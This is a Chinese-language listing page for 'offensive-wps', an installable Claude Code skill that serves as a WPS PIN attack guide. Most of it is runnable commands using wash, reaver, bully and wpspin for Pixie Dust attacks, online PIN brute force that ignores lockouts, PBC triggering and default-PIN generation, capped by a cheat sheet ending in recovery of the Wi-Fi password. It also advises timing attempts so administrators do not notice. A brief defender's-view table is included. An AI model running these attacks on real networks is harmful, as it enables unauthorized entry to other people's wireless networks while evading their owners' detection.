mcpField
O
offensive-wps

offensive-wps

github.com/snailsploit安全9.7k173 次安装2 周前更新
代码仓库

关于 offensive-wps

offensive-wps 是面向授权无线安全评估的 WPS PIN 攻击测试指南,介绍检测、离线 Pixie Dust 与在线 PIN 测试及锁定处理。

主要功能

  1. 01扫描启用 WPS 的接入点
  2. 02测试离线 Pixie Dust 攻击
  3. 03评估在线 PIN 暴力尝试
  4. 04检查锁定状态与处理方式
  5. 05尝试厂商默认 PIN 模式

适用场景

  1. 01审查接入点的 WPS 暴露情况
  2. 02评估芯片组对 Pixie Dust 的易受攻击性
  3. 03验证 WPS 锁定策略的效果

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-wps

安装后在 Claude Code 中输入/offensive-wps确认已加载。

详细介绍

WPS PIN 攻击

WPS 通过 M3/M4 消息交换,将 8 位 PIN 转换为网络 PSK。PIN 分为 4 位 + 3 位两部分(第 8 位是校验位),因此实际组合只有 11,000 种——在易受攻击的芯片组上,离线 Pixie Dust 攻击可在数秒内恢复 PIN,且无需发起任何在线尝试。

快速工作流

  1. 检测启用 WPS 的 AP(查看信标中的 WPS IE)
  2. 优先尝试 Pixie Dust——离线、不可检测,成功时可瞬间完成
  3. 如果芯片组不易受攻击,检查在线暴力破解是否可行(锁定策略)
  4. 最后才尝试在线暴力破解,速度慢且容易被检测

检测

# wash — dedicated WPS scanner
sudo wash -i wlan0mon

# Or use airodump-ng with WPS column
sudo airodump-ng wlan0mon --wps

输出包括:WPS 版本(1.0 / 2.0)、锁定状态、已配置/未配置、厂商。

WPS 2.0 引入了锁定机制,但许多消费级 AP 仍将其实现为“失败 3 次后锁定 60 秒”——只需等待即可轻松绕过。

Pixie Dust(离线)

Pixie Dust 攻击利用了实现 WPS 的芯片组中较弱的随机数生成机制。该攻击会捕获一次完整的 WPS 握手(M1-M4),然后离线计算 PIN。

# reaver with Pixie Dust mode
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv

# bully alternative
sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
芯片组易受攻击?
Ralink(RT 芯片组)是——多数较旧的 D-Link、TP-Link、Edimax 设备
Realtek(RTL8xxx)是——许多 TRENDnet、Belkin 设备
Broadcom(较旧固件)通常是——取决于具体型号和固件版本
MediaTek(特定版本)不一
Atheros大多已修补

成功时:

[Pixie-Dust] WPS PIN: 12345670
[Pixie-Dust] WPA PSK: ActualPasswordHere
[Pixie-Dust] AP SSID: HomeWiFi

通过 M7 消息,PIN 可直接得到 PSK——无需破解 PSK。

在线 PIN 暴力破解

Pixie Dust 失败时,在线暴力破解是备用方案。依次使用不同 PIN 发送 EAPOL-Start → M1 → M2 → M3 尝试。

# reaver online mode (default)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \
  -L -N -d 15 -t 30 -T .5 -r 3:30 -vv

# Flags:
# -L : ignore failed lockouts
# -N : don't send NACK packets
# -d 15 : 15-second delay between attempts
# -t 30 : timeout
# -T .5 : timeout for receiving M5/M7
# -r 3:30 : pause 30s every 3 attempts
处理锁定

大多数现代 AP 在 PIN 尝试失败几次后会锁定 WPS。检测锁定状态:

  • AP 不再响应 EAPOL-Start
  • 信标中的 WPS Locked 标志变为 Yes

策略:

  • 等待解锁:许多 AP 会在 60–600 秒后自动解锁。相应设置 -r。
  • 重启 AP:物理重置状态。仅在你有权进行此类中断时才可使用。
  • 分散不同时段的尝试:选择低流量时段,以免恰逢合法 WPS 使用而引起管理员注意。
时间估算
  • 11,000 次尝试 ×(延迟 + 超时)≈ 最快 4 小时,实际需 12–24 小时
  • 锁定导致的时间倍增:根据策略为 5–20 倍
  • 芯片组易受攻击时,Pixie Dust 只需几分钟。 务必优先尝试。

按钮配置(PBC)方式

用户按下 AP 上的按钮后,WPS PBC 会开启一个 120 秒的窗口。在此期间,任何请求 WPS 的客户端都无需 PIN 即可配对。

攻击可行性:

  • 实际上:需要物理接触按钮(= 你已经得手),或使用社会工程手段(“IT 人员会在 14:00 按下按钮”)
  • 一些有缺陷的 AP 会永久保持 PBC 窗口开启——可通过发送 PBC 关联请求进行测试
# Trigger PBC pairing attempt
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P

默认 PIN 模式

一些厂商会根据 MAC 地址和序列号生成 WPS PIN。已知算法时:

# wpscalc / WPSPIN — calculate likely PINs from BSSID
wpspin --bssid AA:BB:CC:DD:EE:FF
# Outputs candidate PINs to try first before brute

某些 Belkin、ZyXEL 和 Linksys 型号的命中率很高。

检测注意事项

信号防御方视角
Reaver/bully 流量模式WIPS 规则:快速发起 WPS 交换尝试
PIN 失败次数激增WPS Locked 标志变化
厂商 PSK 离线泄露不可检测——Pixie Dust 是离线攻击
消费级管理界面如果 AP 具备审计功能,可能会记录“WPS 尝试”(很少见)

从线路层面来看,针对易受攻击芯片组的 Pixie Dust 几乎不可检测——只发生一次 WPS 交换,与合法客户端的行为完全相同。

攻测速查表

# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0

# 2. Find WPS APs
sudo wash -i wlan0mon

# 3. Pixie Dust first
sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv

# 4. If Pixie Dust fails, try vendor-specific PIN candidates
wpspin --bssid <BSSID> | head -10

# 5. Online brute as last resort
sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv

# 6. Once PIN known, derive PSK from M7 message
# (reaver does this automatically; bully prints PSK on success)

关键参考资料

评论

支持 Markdown